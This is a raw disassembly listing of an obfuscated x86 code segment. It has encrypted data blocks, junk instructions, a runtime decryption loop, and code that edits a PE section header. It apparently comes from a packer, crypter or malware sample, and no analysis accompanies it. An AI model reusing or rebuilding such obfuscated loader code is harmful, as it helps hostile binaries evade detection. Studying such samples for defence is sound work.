15C558A7h, 3F813E13h, 38F71F2Ch dd 0D072F99h, 96A5D0CAh, 566C353Dh, 0BFCBB132h, 56D5B139h dd 2FC973E6h, 34B07DB8h, 0D7174F3Dh, 8F3BC3F2h, 0D047D02Bh dd 5957B130h, 56ABA9BEh, 56C65832h, 43FB132h, 0CD5869B4h dd 0E7802E6Fh, 0B22CC87Ah, 0D16D9F4Fh, 0AA123A89h, 94713152h dd 59D28853h, 56E8E9B0h, 56735832h, 28B7B132h, 5E488F7Fh dd 3652F4CDh, 0F5BC31CAh, 52D43253h, 1A51BE32h, 59EAB132h dd 5675BBB9h, 56BF5832h, 0BB5B132h, 0D5DE4B2Ch, 5957BD4Dh dd 56AB83B6h, 56DB5832h, 0A43BB132h, 0C871327Eh, 0F82761A3h dd 0DFA44060h, 56AE3EDBh, 56595832h, 8E1FB132h, 1192EFA9h dd 35A0C694h, 0A7A687ACh, 56BB3B3Dh, 0EEA5B132h, 0A9514ECDh dd 56435952h, 78C4B132h, 0E628856Fh, 20428A8Fh, 0DF73622Fh dd 0D530F7EFh, 373DE8D8h, 0BF2FD769h, 0EF36E0FCh, 56ABB137h dd 56CF333Dh, 0BF8AB132h, 5675B121h, 7F8E98D0h, 88410094h dd 217651E2h, 4A82890Eh, 37932AF0h, 0DADA1AC1h, 56EAB128h dd 5661383Dh, 5953B132h, 575DB132h, 7D60B1EEh, 0E82E1E5Ah dd 261B1CAh, 3B3CEE96h, 0AA154ECCh, 5365CEB1h, 56EF353Dh dd 0ED3DB132h, 55052752h, 1A6D46B3h, 0D5CABA65h, 59D3A14Dh dd 56EA36B7h, 0D37AD132h dd 56BAB131h, 37BD5DB2h, 56AB5873h, 0EF6FB132h, 0DD3B1B2Bh dd 5C3CB575h, 84EAB132h, 88CFBD66h, 2D1AB054h, 5A023A47h dd 560758C7h, 0D558B132h, 56ABB135h, 56D4373Dh, 0DD13B132h dd 429CB575h, 58BAB132h, 702E4130h, 3484C1D7h, 0B5C9B77Ch dd 2992C8F2h, 0DD4E6380h, 0BF8ABD6Dh, 5675B139h, 0D3D5DD78h dd 0FE98E368h, 30D8FBE2h, 297479B3h, 56F55853h, 0D1DAB132h dd 56EAB13Ah, 56F5BE52h, 37BAB132h, 3659F6B9h, 56AE353Dh dd 0DE0B132h, 5AF43A53h, 7DB44D52h, 361FB56Dh, 0C52318Ah dd 8531D77Fh, 53B63253h, 56AEBDDBh, 0BFDCBB32h, 41AA1687h dd 21A5F9D0h, 469532D6h, 47F0BE31h, 0AEBAB132h, 56575873h dd 0B8F9B132h, 1C0321D1h, 0FC616790h, 0DF2C6819h, 36EBB06Eh dd 0FADE0F61h, 0BFE2D60Bh, 565DB13Ch, 0A8F68B26h, 525B6F92h dd 46D6EFA3h, 0EEB421CDh, 0A9154ECDh, 85F4D752h, 0D7DC338Fh dd 37DAC5ECh, 56AEB48Bh, 565B5832h, 5FC6B132h, 6052290Ah dd 0B537A5E8h, 591579FBh, 0DDDC4985h, 0FDAED0C3h, 56AEBADBh dd 0B06A7632h, 80E10166h, 0BE9920D0h, 0A917BADBh, 566658CDh dd 83FCB132h, 9D999A28h, 42E39D8Ah, 6595F5CCh, 3175ACB1h dd 0D8DAD0AAh, 56EAB139h, 5675B7DBh, 8B61B432h, 9F99FFA2h dd 56AEA3DBh, 8B147A32h, 0B04FF5FAh, 0CAD7735Fh, 7CF15382h dd 9477D4C9h, 59DAB13Ah, 565DB2BDh, 40663132h, 5657BEDAh dd 0ED158B32h, 0A8090632h, 87EAF46Eh, 51EFD1D9h, 0D34C7AB3h dd 3702AD40h, 8125D167h, 6949288Ah, 0BA20D038h, 99053052h dd 59A90C7Eh, 5675B7BCh, 5637BE32h, 375DB132h, 595275B1h dd 5657B0B8h, 0BFCB4932h, 56D5B139h, 63B9F0A2h, 3903CB5h dd 0DC7C67C4h, 0AE3DD0E1h, 3A15D752h, 0DD364828h, 5E42B977h dd 0E2D5B132h, 0D23B92A8h, 0A3746044h, 59B6F409h, 565DC1B0h dd 56A35832h, 6165B132h, 6821763h, 761650E0h, 6DFB9FE9h dd 0D17AA177h, 56BAB167h, 5644333Dh, 0E5CEB132h, 5658595Fh dd 8891B132h, 1DDFC6D4h, 0D6EEACB3h, 4E333A9Bh, 59DBE811h dd 565DB0B5h, 13694432h, 5657B1CEh, 1B424D32h, 36D5B132h dd 56EAB6DBh, 7373C632h, 0A242B374h, 565DBEDBh, 0CFEA9A32h dd 32BE398Bh, 0D163F789h, 0F57C9954h, 0AAAF7653h, 5675B133h dd 56BAA0DBh, 0A3ECC032h, 32038855h, 14335CDh, 597B6295h dd 5F3C1BCEh, 36EAB132h, 0DFAB3054h, 37753A3Dh, 13D64D53h dd 9F5248CEh, 5656373Dh, 945EB132h, 0BFB5B13Eh, 56EAB13Ah dd 5B2C6A33h, 492D8F4h, 565DBDDBh, 0FBD40332h, 68DC9055h dd 0E6304BF9h, 3680D0D9h, 0C0EA0E54h, 0AA993A53h, 594675B1h dd 565DA7BCh, 56BF5832h, 1DCFB132h, 568C14CDh, 31197D51h dd 0C7BACFD4h, 36EDBDC0h, 0A03BD752h, 95D6F7C8h, 56AE5953h dd 0D70DB132h, 0A6AA35D8h, 0A45ED135h, 0A66BD153h, 2FC9F3E3h dd 0BFDB8184h, 565DB13Dh, 0F0CE3610h, 45FDABF8h, 2592B48Dh dd 6573AD2Bh, 4060BEFBh, 5975B132h, 56BAA1B7h, 56565832h dd 86AFB132h, 207F5CDFh, 75ED15AFh, 590E82EFh, 56EABDBEh dd 50FFBE32h, 59BAB132h, 565DB1B7h, 0AAF33832h, 0E8ED3ACAh dd 0AEAC5E87h, 59D58EB1h, 56E82DB6h, 57FABE32h, 0A3BAB132h dd 59A28EB1h, 56AE90B7h, 91D44432h, 8B424D26h, 362A4ECDh dd 56EABBDAh, 90A34732h, 10F5A39Eh, 0DD4AE166h, 0E1A1EBEBh dd 29D4D0E8h, 0D2A4B136h, 56D5B143h, 56EABADBh, 0B1D12D32h dd 7E8990CDh, 0D7619F3Eh, 56BD3C3Dh, 58BEB132h, 22ABB132h dd 0C3CEB242h, 4A2DCEC6h, 0C205BE26h, 5AC532FFh, 68D9BE32h dd 59AEB132h, 5657B0BCh, 23424832h, 59D5B132h, 56EA9DB5h dd 459DD132h, 0BBBAB132h, 3CE2C379h, 27A2909Ch, 0D3A28E93h dd 0F614B9DAh, 0BE8B56BBh, 56EAB139h, 0BA7D8E8Ch, 0B23520C5h dd 0E976DB1h, 0AAEB4E53h, 5656353Dh, 0BF5EB132h, 56D5B13Ah dd 70FE847Ch, 0D560CAB2h, 59AE76B1h, 565DA1B9h, 56A55832h dd 0F3DCB132h, 0F1DB2949h, 59998FE0h, 0A9FC580Ah, 598D4ECDh dd 56BAB6B2h, 57DFBE32h, 0AAAEB132h, 5347CEB1h, 56E5353Dh dd 0D520B132h, 59ECA14Dh, 567516B7h, 59FB4932h, 565DBDB5h dd 5022BE32h, 5957B132h, 56ABB1BAh, 52923A32h, 5AB53ACEh dd 0DF7A4452h, 56BAB130h, 0BF3CD052h, 56AEB1CEh, 5657A2DBh dd 0A51C8C32h, 0BB4379Fh, 35B368AFh, 0B8511FC5h, 0FC984EE0h dd 5959F6B9h, 56AEA5BDh, 56585832h, 9D98B132h, 0DE07EEBh dd 0FEBFDE8Eh, 0BC99DCB2h, 4753D1BEh, 2C5DB132h, 0CB801E15h dd 5DD0629Eh, 0BCD99DD5h, 0DD9A1C20h, 37333A54h, 3679EEB9h dd 0B6DD838Bh, 70E60F41h, 36CFB292h, 4D993054h, 0BF733036h dd 37C18A43h, 56EACADBh, 0DD7A4832h, 56BAB136h, 373CD152h dd 0BFAAF6B9h, 5657B13Eh, 94E79295h, 170C4459h, 0E5BBEB48h dd 0A379EEB9h, 0BFBEEE19h, 565DB13Fh, 1940FA2Bh, 7116ADF0h dd 6AFF33CEh, 533E32D5h, 469532CAh, 63F0BE31h, 0BFBAB132h dd 565DB126h, 0F43A5E4Ch, 0C7993702h, 4C6822D2h, 3D051E3Bh dd 5495F851h, 567D5873h, 983AB132h, 0E1B68F99h, 5F479FD3h dd 9E57B132h, 0E5634327h, 0A3074D65h, 368A6819h, 598D3A54h dd 56BAB1B7h, 37A4D032h, 57AFEDBBh, 5651333Dh, 0E5CBB132h dd 37223A8Ch, 0A9154E8Ah, 53CC44CDh, 59BAB132h, 565DA8BCh dd 0D5A1D132h, 5657B132h, 56ABBADAh, 6526332h, 15AEB4B2h dd 5C05B456h, 0FD49D06Ah, 56495952h, 0D5EEB132h, 6CF259AAh dd 0FA6B21DDh, 0B43352B6h, 0BCB2E7B3h, 0D7130572h, 0F939FC5h dd 37AE063Dh, 0A953D6DBh, 0D458D1CDh, 56ABB130h, 8760EF65h dd 598AD053h, 5675B3BDh, 306B3A32h, 3C9642B3h, 0AAEB3A53h dd 56473B3Dh, 5D42B132h, 33D5B132h, 0F01B580Dh, 6934757Bh dd 0AF730967h, 565458F1h, 7891B132h, 4A9CB5Fh, 658F2D3h dd 56D43D3Dh, 712B132h, 0C1FB0F52h, 0ECDCB96Fh, 53C6C2Dh dd 56AEBBDBh, 436E8E32h, 4320079Bh, 0BE353861h, 56EAB132h dd 0A49F3068h, 0BFBD4136h, 565DB121h, 9D20B933h, 1DEE2B98h dd 4B0D3C7Ch, 0AE620DF1h, 59065361h, 5675B6BEh, 5739BE32h dd 0AF5DB132h, 0CFCD152h, 0BF361882h, 56ABB135h, 0E781DC8Ah dd 378E6170h, 0E0CD2BBFh, 0EE42B6DDh, 565DB156h, 0A72FD752h dd 0DE58314Ah, 56ABB132h, 53065953h, 0DD12B132h, 567E5839h dd 8A54B132h, 7D8BD475h, 1858EC22h, 0A3968A60h, 56AB04DBh dd 453DD132h, 0C3EAB132h, 6C31879Bh, 4DB2D55Ah, 14AAD8Ah dd 82FC52E2h, 40EA9ECh, 0D7B063Dh, 529EB253h, 56EAB6DBh dd 97BD0132h, 1D77CD6h, 0D4527009h, 56AEB196h, 565D3A3Dh dd 5342B132h, 40D5B132h, 0C170A1A0h, 3665FA31h, 327C3052h dd 0BE5DC791h, 56AEB123h, 38A18CE5h, 6A976AACh, 0AAE68BDh dd 334B66A2h, 0BF14EFB2h, 56BAB13Ah, 0D2000F36h, 592BA340h dd 59968A53h, 56AB90B0h, 0F16BD132h, 0A3B1A22Ch, 56575853h dd 0DDB5B132h, 565DB135h, 0AE25D752h, 5936EF64h, 56ABB0BEh dd 0D63C4D32h, 36EAB132h, 30BF063Dh, 371A968Bh, 565DC3DBh dd 0CC234D32h, 51A73C25h, 0A3784ECBh, 56D5D3DBh, 56F85832h dd 0CE19B132h, 0C0EE7DF9h, 2FCB5AEh, 1169A1E7h, 0A2E53014h dd 0C6962BBFh, 0BEB5B6C2h, 56EAB135h, 0CFB38CD5h, 59BA40E9h dd 565DB1B5h, 36CFEB32h, 5654383Dh, 902BB132h, 3C1F30FCh dd 37A61827h, 591562CDh dd 0D0B54885h, 565DB120h, 56AEBCDBh, 0AFD8ED32h, 6DD93E3Dh dd 437FDD25h, 0D8B9B6Eh, 5675B6DBh, 0A4E09432h, 83A5A8F5h dd 572CBE6Bh, 0A357B132h, 56ABA2DBh, 0AA552032h, 6A5B7797h dd 0DA3EF660h, 2554561Fh, 24491076h, 56BA586Ah, 0E63CB132h dd 0F28D3129h, 0AC9E6463h, 8848F329h, 6A20FAACh, 0BF797724h dd 565DB120h, 0CAF85CA9h, 72F2DBF6h, 0C43C9B2Dh, 3E374615h dd 0BFBFFCCEh, 5675B120h, 1EC57E71h, 0EE8E7EF5h, 0A894BBD6h dd 530AA820h, 0BA20742Dh, 9154D752h, 0BE8BC8C1h, 5675B132h dd 40503068h, 365A4135h, 8911BE63h, 37AC3A6Bh, 4542D1CEh dd 74D5B132h, 64708CE1h, 183D4183h, 79A9EB9Eh, 0FAC627FFh dd 0EC239523h, 51B8078Ah, 4D14D752h, 0EEE30EC5h, 0DD8BD110h dd 0D67AB977h, 56BAB133h, 0BF5A38CBh, 56AEB13Fh, 93F1742Ah dd 67F95F96h, 0A7679D15h, 5AAF3A6Bh, 58F7BE52h, 0BFBAB132h dd 565DB13Bh, 6B99BFC8h, 0FF037424h, 1122D065h, 5157BE36h dd 36EAB132h, 2E823054h, 1331D0F0h, 0DB524D22h, 56AEB127h dd 5657A1DBh, 0EDBDCA32h, 66D6A6CAh, 5627F863h, 0ED96B6BBh dd 5AFD3845h, 565DA1DBh, 78515F32h, 356DD01Fh, 61B9F5FCh dd 6F242303h, 42AF3AF5h, 463238CBh, 993BD752h, 0D452DEC7h dd 56AEB12Bh, 5657A5DBh, 5A421132h, 0DD51250Bh, 0E1906DA1h dd 0A3B764h, 0F4345025h, 0BF3CD040h, 56AEB13Bh, 940399F9h dd 0CA769E91h, 30B57847h, 0EFC8AE8Ch, 81A3AA4h, 0BE43D153h dd 565DB122h, 0DD302F09h, 7744658Fh, 0BD965B4Dh, 4FC59DEh dd 56EA3D3Dh, 372EB132h, 0AFBAA1F0h, 56565852h, 0D762B132h dd 8682252Ah, 0ECBEF123h, 0D313449Fh, 5103976Bh, 0EF13D175h dd 4552A6BEh, 9C5DB132h, 0F0CE3610h, 45FDABF8h, 2592B48Dh dd 1873AD2Bh, 0CBA0130h, 4C1DD06Dh, 0BF12A641h, 565DB135h dd 0E743BD4Fh, 0A999832Bh, 0BFA0A087h, 56C15835h, 8734B132h dd 0FB38D60Bh, 3646A02h, 747D0563h, 0C2569387h, 0D3DAFDC7h dd 51472EE9h, 862A4DC7h, 0EC8CD152h, 81FE2B26h, 0CEBD153h dd 565DA1DBh, 60EA5332h, 92F2FBDBh, 3E96982Fh, 573F4A73h dd 48BD04Eh, 5675BCDBh, 3D373432h, 0C90FF5BCh, 976CE3ABh dd 0DCDA1C6Ch, 5144097Bh, 56D5BDDBh, 0D77F6732h, 91269A35h dd 1B1999A2h, 46B4E0A3h, 0AEAEB132h, 0D1CC8EF5h, 46B09131h dd 0F904CD5Fh, 0A997191Ah, 0E827D1E2h, 68517FD5h, 0DB52D16Ah dd 56AEB132h, 0C36D0CBh, 56ABBFDBh, 92374A32h, 0B6EE4C52h dd 934F6AFEh, 0DB03E032h, 0B9E5F8B0h, 512ABE35h, 3657B132h dd 8314D7CEh, 0E1DAD0ADh, 0DCE5BD72h, 5675B138h, 0D7E0E252h dd 22C7BBE2h, 8E25D076h, 56503D3Dh, 0DDA4B132h, 56D5B133h dd 0D5E5E3C7h, 5675B13Ah, 56B8393Dh, 373DB132h, 0DEA1803Dh dd 5657B13Dh, 56ABBBDBh, 90D15A32h, 9F6CF400h, 0CEE0407h dd 56BB383Dh, 55A5B132h, 56A458F1h, 6C74B132h, 0D0AAE54Fh dd 56677Fh, 0E76838CBh, 0AE725812h, 5353D0CBh, 0E95DB132h dd 0B52E4F0Ah, 0F5144F1h, 0B8Fh, 0B70F6000h, 8F0FF6h, 61000000h dd 14E952h, 47690000h, 0BCA9EB68h, 6CD588D5h, 825A1560h dd 0B67AF512h, 0E80226h, 5A000000h, 9F5EA81h, 8B0F07F0h dd 14h, 0B48EBB60h, 8E94F9Eh, 73000000h, 25330CFBh, 619B5921h dd 12E9h, 0D6F3EA00h, 6C1DD919h, 8763A9E8h, 83F4191Bh dd 0F346E2Ch, 186h, 52F8FC00h, 0B1828BF8h, 6007E920h, 800F60h dd 61000000h, 612CE280h, 0C64E6DB9h, 0E1F7F941h, 8D0F5AFCh dd 1Ah, 13E960h, 7EF50000h, 4A0E5765h, 0D57A0A24h, 0A6D195A6h dd 0D61E61A9h, 3905615Eh, 0E9000030h, 10h, 0EEDD6106h dd 4864A829h, 0CEF08732h, 39130CDBh, 0FFFFFF25h, 9E9607Fh dd 12000000h, 79D4B3D7h, 692AF1A5h, 810F61F8h, 1Eh, 18810Fh dd 13E90000h, 0A8000000h, 7459C083h, 5732F830h, 0B8B0B285h dd 9C1FC6DBh, 8289C63Fh, 7E920B1h, 12E9h, 0BBED7E00h, 0DC12D329h dd 4D6C90CBh, 7DAB23D4h, 5AE89F1Bh, 63C88060h, 870F57h dd 5A000000h, 890F5961h, 15h, 10E9h, 50E67100h, 9626C269h dd 0D05D324Eh, 0F7712A29h, 0EE9C3FCh, 0C000000h, 17EBDEF9h dd 56912C5Ch, 0C2AAE3E8h, 840F5129h, 0Ch, 7E9h, 5EADFB00h dd 0CCA0DC21h, 88C0F52h, 60000000h, 0F5FD381h, 0E861699Fh dd 0 ; --------------------------------------------------------------------------- pop edx sub edx, 7F00B4Ah jmp loc_5F4916 ; --------------------------------------------------------------------------- dd 0BFCD4E8Bh ; --------------------------------------------------------------------------- pop ds pop ds loc_5F4916: ; CODE XREF: sdfs____:005F490Bj jnb loc_5F491D cmc loc_5F491D: ; CODE XREF: sdfs____:loc_5F4916j jg loc_5F4924 clc loc_5F4924: ; CODE XREF: sdfs____:loc_5F491Dj mov ecx, eax pusha jl loc_5F4931 mov bx, 29DDh loc_5F4931: ; CODE XREF: sdfs____:005F4927j mov ch, 0C2h popa call near ptr dword_5F4430+34Eh pusha mov dh, bh and ebx, 6E80EEE1h popa xor edx, edx clc div ecx jmp loc_5F4960 ; --------------------------------------------------------------------------- db 91h, 90h, 0B2h dd 51AC7EDh, 93AC5D16h, 1DA093EFh, 7D2298EDh ; --------------------------------------------------------------------------- loc_5F4960: ; CODE XREF: sdfs____:005F4948j mov eax, edx clc pop edx pusha jmp loc_5F4975 ; --------------------------------------------------------------------------- dw 662Eh dd 0EB7851D1h, 2CB32FD9h db 3Eh ; --------------------------------------------------------------------------- loc_5F4975: ; CODE XREF: sdfs____:005F4965j jmp loc_5F4989 ; --------------------------------------------------------------------------- dw 3AA0h dd 2C6653DCh, 0FDEC8EE3h, 45CD2C38h ; --------------------------------------------------------------------------- xchg eax, edi loc_5F4989: ; CODE XREF: sdfs____:loc_5F4975j popa pop ecx jle locret_5F4992 cmc locret_5F4992: ; CODE XREF: sdfs____:005F498Bj retn ; --------------------------------------------------------------------------- jnp loc_5F49AC pusha cld jmp loc_5F49AB ; --------------------------------------------------------------------------- dd 0A1A2A58h, 0F794A210h db 0A9h, 40h, 3Dh ; --------------------------------------------------------------------------- loc_5F49AB: ; CODE XREF: sdfs____:005F499Bj popa loc_5F49AC: ; CODE XREF: sdfs____:005F4993j mov eax, eax pusha stc jmp loc_5F49BC ; --------------------------------------------------------------------------- db 40h, 6Ch, 1Dh ; --------------------------------------------------------------------------- shl dword ptr [edi+5], 0D1h loc_5F49BC: ; CODE XREF: sdfs____:005F49B0j popa mov eax, eax pusha xor si, 7B4Eh movsx esi, bx popa lea eax, [ebp+7EFCEA0h] cmc jmp loc_5F49DC ; --------------------------------------------------------------------------- db 5Ah, 0F9h, 2Ch dd 0CE4EBA9Ch ; --------------------------------------------------------------------------- loc_5F49DC: ; CODE XREF: sdfs____:005F49D0j call eax cld mov ax, cx cld lea eax, [ebp+7F009C4h] jmp loc_5F4A01 ; --------------------------------------------------------------------------- dw 149Bh dd 3D4616BCh, 5A0A04AFh, 85849E81h, 14B39781h db 34h ; --------------------------------------------------------------------------- loc_5F4A01: ; CODE XREF: sdfs____:005F49E9j mov [ebp+7E9214Dh], eax cmc lea eax, [ebp+7F00B23h] jo loc_5F4A1B jp loc_5F4A1B cmc loc_5F4A1B: ; CODE XREF: sdfs____:005F4A0Ej ; sdfs____:005F4A14j mov [ebp+7E91F15h], eax jmp loc_5F4A35 ; --------------------------------------------------------------------------- dw 0F94h dd 0D816C6F0h, 0BB9ECE5Dh, 0B7BF75A0h db 85h ; --------------------------------------------------------------------------- loc_5F4A35: ; CODE XREF: sdfs____:005F4A21j mov eax, 0 jno loc_5F4A41 cmc loc_5F4A41: ; CODE XREF: sdfs____:005F4A3Aj jg loc_5F4A51 pusha jz $+6 push esi pop edi popa loc_5F4A51: ; CODE XREF: sdfs____:loc_5F4A41j or eax, eax jz loc_5F4BAE jmp loc_5F4A69 ; --------------------------------------------------------------------------- dw 0E2ACh dd 0BA8D1ABFh, 670FC175h db 33h ; --------------------------------------------------------------------------- loc_5F4A69: ; CODE XREF: sdfs____:005F4A59j mov byte ptr [ebp+7E92659h], 56h jp loc_5F4A7C pusha cmc xor dl, 0B7h popa loc_5F4A7C: ; CODE XREF: sdfs____:005F4A70j pusha movzx edx, si add al, 27h popa push 0A9C530DFh pusha jo loc_5F4A95 mov esi, 2E0E0283h loc_5F4A95: ; CODE XREF: sdfs____:005F4A8Aj jmp loc_5F4AA5 ; --------------------------------------------------------------------------- dw 1802h dd 0A3EDD65Fh, 7EB47740h ; --------------------------------------------------------------------------- push ss loc_5F4AA5: ; CODE XREF: sdfs____:loc_5F4A95j popa push dword ptr [ebp+7E90B11h] jmp loc_5F4AB7 ; --------------------------------------------------------------------------- mov [esi-288EF5FBh], eax loc_5F4AB7: ; CODE XREF: sdfs____:005F4AACj lea eax, [ebp+7EC9FDBh] cmc call eax jz loc_5F4AC7 stc loc_5F4AC7: ; CODE XREF: sdfs____:005F4AC0j push eax stc lea ecx, [ebp+7E92B29h] stc jl loc_5F4AED pusha jmp loc_5F4AE8 ; --------------------------------------------------------------------------- dd 0A6FDFA1Dh, 5022DD0Dh, 0F39C3355h ; --------------------------------------------------------------------------- loc_5F4AE8: ; CODE XREF: sdfs____:005F4AD7j mov bx, 1ABh popa loc_5F4AED: ; CODE XREF: sdfs____:005F4AD0j push ecx jmp loc_5F4AFF ; --------------------------------------------------------------------------- db 78h ; --------------------------------------------------------------------------- adc [eax-64BD15FEh], edi mov eax, 0C96B469Ch loc_5F4AFF: ; CODE XREF: sdfs____:005F4AEEj push 4 pusha jmp loc_5F4B19 ; --------------------------------------------------------------------------- db 0D8h dd 0A34C92BAh, 0CAB5DA51h, 7E3D0FF7h, 333D02FDh db 64h ; --------------------------------------------------------------------------- loc_5F4B19: ; CODE XREF: sdfs____:005F4B02j pusha call near ptr loc_5F4B22+2 dec ebp pusha in al, dx loc_5F4B22: ; CODE XREF: sdfs____:005F4B1Ap psubusb mm3, qword ptr [esi+0Fh] mov bh, 0C7h popa popa push 1000h jmp loc_5F4B42 ; --------------------------------------------------------------------------- dd 6D4C84F7h, 59926900h, 0F31C3436h db 0E0h, 25h ; --------------------------------------------------------------------------- loc_5F4B42: ; CODE XREF: sdfs____:005F4B2Fj push dword ptr [ebp+7E9120Dh] cmc js loc_5F4B56 pusha mov ax, di mov ch, 0E9h popa loc_5F4B56: ; CODE XREF: sdfs____:005F4B49j call eax jmp loc_5F4B6C ; --------------------------------------------------------------------------- db 43h, 0A2h, 95h dd 3B3EFBB5h, 0C41C5753h, 0CB5AF4EAh ; --------------------------------------------------------------------------- loc_5F4B6C: ; CODE XREF: sdfs____:005F4B58j mov edi, [ebp+7E9120Dh] ja loc_5F4B79 clc loc_5F4B79: ; CODE XREF: sdfs____:005F4B72j add edi, [edi+3Ch] stc add edi, 0F8h pusha call sub_5F4B93 push ecx mov ah, 20h and dh, [ebp-0A6B07DEh] dec esp ; =============== S U B R O U T I N E ======================================= sub_5F4B93 proc near ; CODE XREF: sdfs____:005F4B84p pop esi popa mov dword ptr [edi+24h], 60000020h jge loc_5F4BAE jmp loc_5F4BAE ; --------------------------------------------------------------------------- db 1 dd 0E50CF554h db 3Eh, 7Dh ; --------------------------------------------------------------------------- loc_5F4BAE: ; CODE XREF: sdfs____:005F4A53j ; sub_5F4B93+9j ... lea ebx, [ebp+7E92089h] pusha and edx, 67D34B2Bh stc popa mov eax, [ebx] stc jbe loc_5F4BD0 pusha mov esi, 7DA78AEFh movsx edx, dx popa loc_5F4BD0: ; CODE XREF: sub_5F4B93+2Dj or eax, eax jz loc_5F4BFE jg loc_5F4BEA jmp loc_5F4BEA ; --------------------------------------------------------------------------- db 0CEh dd 3374D2D5h db 8Dh, 0B9h ; --------------------------------------------------------------------------- loc_5F4BEA: ; CODE XREF: sub_5F4B93+45j ; sub_5F4B93+4Bj mov eax, [eax] clc mov [ebx+4], eax pusha cmc jbe loc_5F4BFD or ax, 2A05h loc_5F4BFD: ; CODE XREF: sub_5F4B93+5Fj popa loc_5F4BFE: ; CODE XREF: sub_5F4B93+3Fj mov ecx, 234CF6h call sub_5F4C0F or [edi+42h], edx push es sbb bh, [esi+3Ch] sub_5F4B93 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5F4C0F proc near ; CODE XREF: sub_5F4B93+70p mov ebx, 7E5BB4C6h pop edi pusha stc jmp loc_5F4C2B ; --------------------------------------------------------------------------- dd 0EF1E78EEh, 9BBBC734h, 41669E13h db 0C9h, 0AEh, 0C6h ; --------------------------------------------------------------------------- loc_5F4C2B: ; CODE XREF: sub_5F4C0F+8j popa add edi, 70D0h xor ecx, 3E9E50BCh push 1C10h jnb $+6 pop eax push ecx pusha mov edi, eax mov dx, di popa pop ebx loc_5F4C4D: ; CODE XREF: sub_5F4C6B+2Aj push dword ptr [edi] movzx ebx, dx pop edx sub edx, 59B284E7h js loc_5F4C6C call sub_5F4C6B out dx, eax mov [edi-44h], cl add eax, [edi-6Eh] sub_5F4C0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5F4C6B proc near ; CODE XREF: sub_5F4C0F+50p pop ebx loc_5F4C6C: ; CODE XREF: sub_5F4C0F+4Aj sub edx, 631F779h mov ebx, ecx add edx, 3F4FC2C6h mov ch, bh mov [edi], edx pusha sbb cl, 0D1h popa sub edi, 2 jnb loc_5F4C90 mov cx, 9A1Fh loc_5F4C90: ; CODE XREF: sub_5F4C6B+1Bj dec edi dec edi sub eax, 1 jnz loc_5F4C4D clc lea ecx, [ebp+7F00F8Ch] push 0 push edx call sub_5F4CAD and [edx-3Dh], bl sub_5F4C6B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5F4CAD proc near ; CODE XREF: sub_5F4C6B+3Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5F4CAD endp ; --------------------------------------------------------------------------- push ebx jmp loc_5F4CCF ; --------------------------------------------------------------------------- dec edx retn ; --------------------------------------------------------------------------- db 3, 3Ch, 84h dd 758AC8F3h ; --------------------------------------------------------------------------- adc [ebx], esi cwde loc_5F4CCF: ; CODE XREF: sdfs____:005F4CBEj mov al, 1Eh mov [ebp+7E9320Dh], ecx mov [ebp+7E91571h], ebx mov dword ptr [ebp+7E922E5h], 6450h push 0 push ebx call sub_5F4CF2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F4CF2 proc near ; CODE XREF: sdfs____:005F4CEAp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5F4CF2 endp ; --------------------------------------------------------------------------- std cli fld qword ptr [ecx-4ABEB310h] push ds mov dword ptr [ebp+7E922B1h], 0 adc bl, 1Ch push dword ptr [ebp+7E91F55h] mov [ebp+7E93209h], ecx call dword ptr [ebp+7E92285h] jmp loc_5F4D3A ; --------------------------------------------------------------------------- db 9Ah ; --------------------------------------------------------------------------- or eax, 89BE9809h movsd rcr edi, 0D7h push ss loc_5F4D3A: ; CODE XREF: sdfs____:005F4D2Aj add si, 0FD32h push 0 call dword ptr [ebp+7E90C31h] mov eax, eax jmp short loc_5F4D6A ; --------------------------------------------------------------------------- db 9Dh dd 228DF298h, 9C91D2A0h, 5DE860E9h, 6970FA1Eh, 3A34E422h dd 77858A78h, 7BEF2BE3h db 9Ah, 80h ; --------------------------------------------------------------------------- loc_5F4D6A: ; CODE XREF: sdfs____:005F4D49j call sub_5F4D80 xchg ecx, [edx+4A92E00Ah] mov al, 0A0h push eax retn ; --------------------------------------------------------------------------- db 0C1h, 4Dh, 0D7h dd 41BDE674h ; =============== S U B R O U T I N E ======================================= sub_5F4D80 proc near ; CODE XREF: sdfs____:loc_5F4D6Ap var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005990C8 SIZE 00000047 BYTES push edx jmp loc_5F4D8B ; --------------------------------------------------------------------------- dw 5B95h db 0DCh, 0A2h, 0E8h ; --------------------------------------------------------------------------- loc_5F4D8B: ; CODE XREF: sub_5F4D80+1j pop edi pop ebx mov ecx, [ebp+7E90909h] add ebx, 5FACh push eax mov esi, [ebp+7E91855h] pop ecx push 17B4h jmp loc_5F4DB4 ; --------------------------------------------------------------------------- db 0D1h dd 0D63AB217h, 0A54D092h ; --------------------------------------------------------------------------- loc_5F4DB4: ; CODE XREF: sub_5F4D80+26j pop edx jb loc_5F4DC1 or esi, 3A790FC0h loc_5F4DC1: ; CODE XREF: sub_5F4D80+35j ; sub_5F4D80+B7j push dword ptr [ebx] mov si, ax pop eax pusha push esi movzx ecx, dx pop edx clc popa sub eax, 3EBDBEA0h pusha mov [ebp+7E901BDh], edx sub ecx, [ebp+7E91F4Dh] popa xor eax, 2335A8B1h jmp loc_5F4DF6 ; --------------------------------------------------------------------------- dw 35A2h dd 0B5844E50h db 54h, 19h ; --------------------------------------------------------------------------- loc_5F4DF6: ; CODE XREF: sub_5F4D80+69j xor eax, 610C5AF6h mov edi, eax mov [ebx], eax jmp loc_5F4E0A ; --------------------------------------------------------------------------- push 74699AFAh loc_5F4E0A: ; CODE XREF: sub_5F4D80+80j sub ebx, 4 mov cx, 17CAh sub edx, 1 jnz loc_5F4E31 adc di, 51Ch jmp loc_5F4E4F ; --------------------------------------------------------------------------- dd 9B8B6C26h, 44D69403h, 3F35FB5Ah db 39h ; --------------------------------------------------------------------------- 